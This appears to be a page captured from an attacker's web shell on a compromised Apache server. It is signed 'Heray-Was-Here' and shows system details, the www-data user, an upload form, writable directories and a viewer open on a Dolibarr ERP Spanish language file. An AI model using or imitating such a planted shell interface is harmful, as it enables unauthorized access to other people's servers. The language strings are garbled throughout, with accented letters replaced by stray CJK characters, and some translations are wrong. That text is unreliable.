Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/es_CO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/es_CO/other.lang
# Dolibarr language file - Source file is en_US - other
SecurityCode=C贸digo de seguridad
NumberingShort=NORTE
Tools=Herramientas
TMenuTools=Herramientas
ToolsDesc=Todas las herramientas no incluidas en otras entradas del men煤 se agrupan aqu铆. <br> Se puede acceder a todas las herramientas a trav茅s del men煤 de la izquierda.
Birthday=Cumplea帽os
BirthdayAlertOn=alerta de cumplea帽os activa
BirthdayAlertOff=alerta de cumplea帽os inactiva
MonthOfInvoice=Mes (n煤mero 1-12) de fecha de factura
TextMonthOfInvoice=Mes (texto) de fecha de factura
PreviousMonthOfInvoice=Mes anterior (n煤mero 1-12) de fecha de factura
TextPreviousMonthOfInvoice=Mes anterior (texto) de fecha de factura
NextMonthOfInvoice=Mes siguiente (n煤mero 1-12) de fecha de factura
TextNextMonthOfInvoice=Mes siguiente (texto) de fecha de factura
ZipFileGeneratedInto=Archivo zip generado en <b> %s </b>.
DocFileGeneratedInto=Archivo doc generado en <b> %s </b>.
MessageForm=Mensaje en forma de pago en l铆nea
MessageOK=Mensaje en la p谩gina de devoluci贸n para un pago validado
MessageKO=Mensaje en la p谩gina de devoluci贸n para un pago cancelado
ContentOfDirectoryIsNotEmpty=El contenido de este directorio no est谩 vac铆o.
DeleteAlsoContentRecursively=Marque para eliminar todo el contenido recursivamente
PoweredBy=Energizado por
YearOfInvoice=A帽o de facturaci贸n
PreviousYearOfInvoice=A帽o anterior de la fecha de facturaci贸n
NextYearOfInvoice=Siguiente a帽o de la fecha de facturaci贸n
DateNextInvoiceAfterGen=Fecha de la pr贸xima factura (posterior a la generaci贸n).
GraphInBarsAreLimitedToNMeasures=Los gr谩ficos est谩n limitados a medidas %s en el modo 'Bars'. En su lugar, se seleccion贸 autom谩ticamente el modo 'L铆neas'.
OnlyOneFieldForXAxisIsPossible=Actualmente, solo es posible un campo como eje X. Solo se ha seleccionado el primer campo seleccionado.
Notify_ORDER_VALIDATE=Pedido de venta validado
Notify_ORDER_SENTBYMAIL=Pedido de venta enviado por correo
Notify_ORDER_SUPPLIER_SENTBYMAIL=Orden de compra enviada por correo electr贸nico
Notify_ORDER_SUPPLIER_VALIDATE=Orden de compra registrada
Notify_ORDER_SUPPLIER_APPROVE=Orden de compra aprobada
Notify_ORDER_SUPPLIER_REFUSE=Orden de compra rechazada
Notify_PROPAL_VALIDATE=Propuesta del cliente validada.
Notify_PROPAL_CLOSE_SIGNED=Propuesta de cliente cerrada firmada
Notify_PROPAL_CLOSE_REFUSED=Propuesta de cliente cerrada rechazada
Notify_PROPAL_SENTBYMAIL=Propuesta comercial enviada por correo.
Notify_WITHDRAW_TRANSMIT=Retiro de transmisi贸n
Notify_WITHDRAW_CREDIT=Retiro de cr茅dito
Notify_WITHDRAW_EMIT=Realizar retirada
Notify_COMPANY_CREATE=Tercero creado
Notify_COMPANY_SENTBYMAIL=Correos enviados desde tarjeta de terceros
Notify_BILL_VALIDATE=Factura del cliente validada
Notify_BILL_UNVALIDATE=Factura del cliente sin validar
Notify_BILL_CANCEL=Factura de cliente cancelada
Notify_BILL_SENTBYMAIL=Factura del cliente enviada por correo
Notify_BILL_SUPPLIER_VALIDATE=Factura de proveedor validada
Notify_BILL_SUPPLIER_PAYED=Factura de proveedor pagada
Notify_BILL_SUPPLIER_SENTBYMAIL=Factura del proveedor enviada por correo
Notify_BILL_SUPPLIER_CANCELED=Factura de proveedor cancelada
Notify_CONTRACT_VALIDATE=Contrato validado
Notify_FICHINTER_VALIDATE=Intervenci贸n validada
Notify_FICHINTER_ADD_CONTACT=Contacto agregado a la intervenci贸n.
Notify_FICHINTER_SENTBYMAIL=Intervenci贸n enviada por correo.
Notify_SHIPPING_VALIDATE=Env铆o validado
Notify_SHIPPING_SENTBYMAIL=Envios enviados por correo
Notify_MEMBER_VALIDATE=Miembro validado
Notify_MEMBER_SUBSCRIPTION=Miembro suscrito
Notify_MEMBER_RESILIATE=Miembro cancelado
Notify_MEMBER_DELETE=Miembro eliminado
Notify_PROJECT_CREATE=Creaci贸n de proyectos
Notify_HOLIDAY_VALIDATE=Deja la solicitud validada (se requiere aprobaci贸n)
Notify_HOLIDAY_APPROVE=Dejar la solicitud aprobada
SeeModuleSetup=Ver configuraci贸n del m贸dulo %s
NbOfAttachedFiles=N煤mero de archivos / documentos adjuntos
TotalSizeOfAttachedFiles=Tama帽o total de los archivos / documentos adjuntos
MaxSize=Talla m谩xima
AttachANewFile=Adjuntar un nuevo archivo / documento
LinkedObject=Objeto vinculado
NbOfActiveNotifications=N煤mero de notificaciones (n煤mero de correos electr贸nicos del destinatario)
PredefinedMailTest=__(Hola)__\nEste es un correo de prueba enviado a __EMAIL__.\nLas l铆neas est谩n separadas por un retorno de carro.\n\n__USER_SIGNATURE__
PredefinedMailTestHtml=__ (Hola) __ <br> Esta es una prueba <b> </b> correo enviado a __EMAIL__ (la palabra prueba debe estar en negrita). <br> Las l铆neas est谩n separadas por un retorno de carro. <br> <br> __USER_FIRMA__
PredefinedMailContentSendInvoice=__(Hola)__\n\nEncuentre la factura __REF__ adjunta\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendInvoiceReminder=__(Hola)__\n\nNos gustar铆a recordarle que la factura __REF__ parece no haber sido pagada. Se adjunta una copia de la factura como recordatorio.\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendProposal=__(Hola)__\n\nSe adjunta propuesta comercial __REF__\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendSupplierProposal=__(Hola)__\n\nPor favor, encuentre la solicitud de precio __REF__ adjunta\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendOrder=__(Hola)__\n\nPor favor encuentre el pedido __REF__ adjunto\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendSupplierOrder=__(Hola)__\n\nPor favor encuentre nuestro pedido __REF__ adjunto\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendSupplierInvoice=__(Hola)__\n\nEncuentre la factura __REF__ adjunta\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendShipping=__(Hola)__\n\nPor favor encuentre el env铆o __REF__ adjunto\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentSendFichInter=__(Hola)__\n\nSe adjunta la intervenci贸n __REF__\n\n\n__(Atentamente)__\n\n__USER_SIGNATURE__
PredefinedMailContentLink=Puede hacer clic en el enlace de abajo para realizar su pago si a煤n no lo ha hecho.\n\n%s\n\n
DemoDesc=Dolibarr es un ERP / CRM compacto que soporta varios m贸dulos de negocios. Una demostraci贸n que muestre todos los m贸dulos no tiene sentido ya que este escenario nunca ocurre (varios cientos disponibles). Por lo tanto, varios perfiles de demostraci贸n est谩n disponibles.
ChooseYourDemoProfilMore=... o cree su propio perfil <br> (selecci贸n manual del m贸dulo)
DemoFundation=Administrar miembros de una fundaci贸n.
DemoFundation2=Gestionar miembros y cuenta bancaria de una fundaci贸n.
DemoCompanyServiceOnly=Empresa o servicio de venta independiente solamente
DemoCompanyManufacturing=Productos de fabricaci贸n de la empresa
DemoCompanyAll=Empresa con m煤ltiples actividades (todos los m贸dulos principales)
CreatedById=ID de usuario que cre贸
ModifiedById=Identificaci贸n de usuario que hizo el 煤ltimo cambio
ValidatedById=ID de usuario que valid贸
CanceledById=Identificaci贸n de usuario que cancel贸
ClosedById=ID de usuario que cerr贸
CreatedByLogin=Inicio de sesi贸n de usuario que cre贸
ModifiedByLogin=Inicio de sesi贸n de usuario que hizo el 煤ltimo cambio
ValidatedByLogin=Inicio de sesi贸n de usuario que valid贸
CanceledByLogin=Inicio de sesi贸n de usuario que cancel贸
ClosedByLogin=Inicio de sesi贸n de usuario que cerr贸
FileWasRemoved=El archivo %s fue eliminado
DirWasRemoved=Directorio %s fue eliminado
FeatureNotYetAvailable=Caracter铆stica a煤n no disponible en la versi贸n actual
FeaturesSupported=Caracter铆sticas compatibles
Width=Anchura
Height=Altura
Depth=Profundidad
Top=Parte superior
Bottom=Fondo
WeightUnitg=sol
LengthUnitm=metro
Surface=Zona
SurfaceUnitdm2=dm
SurfaceUnitfoot2=pies cuadrados
SizeUnitm=metro
BugTracker=Localizador de bichos
SendNewPasswordDesc=Este formulario le permite solicitar una nueva contrase帽a. Se enviar谩 a su direcci贸n de correo electr贸nico. <br> El cambio entrar谩 en vigencia una vez que haga clic en el enlace de confirmaci贸n en el correo electr贸nico. <br> Revise su bandeja de entrada.
BackToLoginPage=Volver a la p谩gina de inicio de sesi贸n
AuthenticationDoesNotAllowSendNewPassword=El modo de autenticaci贸n es <b> %s </b>. <br> En este modo, Dolibarr no puede saber ni cambiar su contrase帽a. <br>P贸ngase en contacto con el administrador del sistema si desea cambiar su contrase帽a.
EnableGDLibraryDesc=Instale o habilite la biblioteca GD en su instalaci贸n de PHP para usar esta opci贸n.
ProfIdShortDesc=<b> La identificaci贸n del profesor %s </b> es una informaci贸n que depende del pa铆s tercero. <br> Por ejemplo, para el pa铆s <b> %s </b>, es el c贸digo <b> %s </b>.
DolibarrDemo=Dolibarr ERP / CRM demo
StatsByNumberOfUnits=Estad铆sticas por suma de cantidad de productos / servicios.
NumberOfProposals=Numero de propuestas
NumberOfCustomerOrders=N煤mero de 贸rdenes de venta
NumberOfCustomerInvoices=N煤mero de facturas de clientes
NumberOfSupplierProposals=N煤mero de propuestas de proveedores
NumberOfSupplierOrders=N煤mero de 贸rdenes de compra
NumberOfContracts=Numero de contratos
NumberOfMos=N煤mero de 贸rdenes de fabricaci贸n
NumberOfUnitsProposals=N煤mero de unidades sobre propuestas.
NumberOfUnitsCustomerOrders=N煤mero de unidades en pedidos de venta
NumberOfUnitsCustomerInvoices=N煤mero de unidades en las facturas de los clientes.
NumberOfUnitsSupplierProposals=N煤mero de unidades en propuestas de proveedores
NumberOfUnitsSupplierOrders=N煤mero de unidades en 贸rdenes de compra
NumberOfUnitsSupplierInvoices=N煤mero de unidades en facturas de proveedores
NumberOfUnitsContracts=N煤mero de unidades en contratos
NumberOfUnitsMos=N煤mero de unidades a producir en 贸rdenes de fabricaci贸n
EMailTextInterventionAddedContact=Se le ha asignado una nueva intervenci贸n %s.
EMailTextInterventionValidated=La intervenci贸n %s ha sido validada.
EMailTextInvoiceValidated=La factura %s ha sido validada.
EMailTextInvoicePayed=Se ha pagado la factura %s.
EMailTextProposalValidated=La propuesta %s ha sido validada.
EMailTextProposalClosedSigned=La propuesta %s se ha cerrado y firmado.
EMailTextOrderApproved=Se ha aprobado el pedido %s.
EMailTextOrderApprovedBy=El pedido %s ha sido aprobado por %s.
EMailTextOrderRefused=El pedido %s ha sido rechazado.
EMailTextOrderRefusedBy=El pedido %s ha sido rechazado por %s.
EMailTextExpenseReportValidated=Se ha validado el informe de gastos %s.
EMailTextExpenseReportApproved=Se aprob贸 el informe de gastos %s.
EMailTextHolidayValidated=La solicitud de abandono %s ha sido validada.
EMailTextHolidayApproved=La solicitud de permiso %s ha sido aprobada.
ImportedWithSet=Conjunto de datos de importaci贸n
ResizeDesc=Introduzca el nuevo ancho <b> O </b> nueva altura. La relaci贸n se mantendr谩 durante el cambio de tama帽o ...
NewSizeAfterCropping=Nuevo tama帽o despu茅s de recortar
DefineNewAreaToPick=Defina una nueva 谩rea en la imagen para elegir (haga clic izquierdo en la imagen y luego arrastre hasta que llegue a la esquina opuesta)
CurrentInformationOnImage=Esta herramienta fue dise帽ada para ayudarte a redimensionar o recortar una imagen. Esta es la informaci贸n sobre la imagen editada actual.
YouReceiveMailBecauseOfNotification=Recibir谩 este mensaje porque su correo electr贸nico se agreg贸 a la lista de destinos para recibir informaci贸n sobre eventos particulares en el software %s de %s.
YouReceiveMailBecauseOfNotification2=Este evento es el siguiente:
ThisIsListOfModules=Esta es una lista de m贸dulos preseleccionados por este perfil de demostraci贸n (en esta demostraci贸n solo se ven los m贸dulos m谩s comunes). Edite esto para tener una demostraci贸n m谩s personalizada y haga clic en "Inicio".
UseAdvancedPerms=Utilice los permisos avanzados de algunos m贸dulos.
SelectAColor=Elige un color
AddFiles=Agregar archivos
StartUpload=Iniciar la subida
CancelUpload=Cancelar carga
FileIsTooBig=Archivos es demasiado grande
PleaseBePatient=Por favor sea paciente...
ResetPassword=Restablecer la contrase帽a
RequestToResetPasswordReceived=Se ha recibido una solicitud para cambiar tu contrase帽a.
NewKeyIs=Estas son tus nuevas claves para iniciar sesi贸n.
NewKeyWillBe=Su nueva clave para iniciar sesi贸n en el software ser谩
ClickHereToGoTo=Haga clic aqu铆 para ir a %s
YouMustClickToChange=Sin embargo, primero debe hacer clic en el siguiente enlace para validar este cambio de contrase帽a.
ForgetIfNothing=Si no solicit贸 este cambio, simplemente olvide este correo electr贸nico. Sus credenciales se mantienen seguras.
IfAmountHigherThan=Si la cantidad es superior a <strong> %s </strong>
SourcesRepository=Repositorio de fuentes
PassEncoding=Codificaci贸n de contrase帽a
YourPasswordMustHaveAtLeastXChars=Su contrase帽a debe tener al menos <strong> %s </strong> caracteres
PasswordNeedAtLeastXUpperCaseChars=La contrase帽a necesita al menos <strong> %s </strong> caracteres en may煤sculas
PasswordNeedAtLeastXDigitChars=La contrase帽a necesita al menos <strong> %s </strong> caracteres num茅ricos
PasswordNeedAtLeastXSpecialChars=La contrase帽a necesita al menos <strong> %s </strong> caracteres especiales
PasswordNeedNoXConsecutiveChars=La contrase帽a no debe tener <strong> %s </strong> caracteres similares consecutivos
YourPasswordHasBeenReset=Tu contrase帽a ha sido restablecida con 茅xito
SMSSentTo=SMS enviados a %s
MissingIds=IDs que faltan
ThirdPartyCreatedByEmailCollector=Tercero creado por el recopilador de correo electr贸nico del correo electr贸nico MSGID %s
ContactCreatedByEmailCollector=Contacto / direcci贸n creada por el recopilador de correo electr贸nico del correo electr贸nico MSGID %s
ProjectCreatedByEmailCollector=Proyecto creado por el recopilador de correo electr贸nico del correo electr贸nico MSGID %s
TicketCreatedByEmailCollector=Ticket creado por el recopilador de correo electr贸nico del correo electr贸nico MSGID %s
OpeningHoursFormatDesc=Use a - para separar las horas de apertura y cierre. <br> Use un espacio para ingresar diferentes rangos. <br> Ejemplo: 8-12 14-18
ExportsArea=Area de exportaciones
LibraryUsed=Biblioteca utilizada
LibraryVersion=Versi贸n de la biblioteca
NoExportableData=No hay datos exportables (no hay m贸dulos cargados con datos exportables o faltan permisos)
WebsiteSetup=Configuraci贸n del sitio web del m贸dulo.
WEBSITE_IMAGEDesc=Ruta relativa de los medios de imagen. Puede mantener esto vac铆o ya que rara vez se usa (puede ser usado por contenido din谩mico para mostrar una miniatura en una lista de publicaciones de blog). Use __WEBSITE_KEY__ en la ruta si la ruta depende del nombre del sitio web (por ejemplo: image / __ WEBSITE_KEY __ / stories / myimage.png).
WEBSITE_KEYWORDS=Palabras clave
LinesToImport=L铆neas para importar
ProductsPerPopularity=Productos / Servicios por popularidad
PopuProp=Productos / Servicios por popularidad en Propuestas
PopuCom=Productos / servicios por popularidad en pedidos
ProductStatistics=Estad铆sticas de productos / servicios
NbOfQtyInOrders=Cant. En pedidos
ConfirmBtnCommonTitle =Confirma tu acci贸n

Hry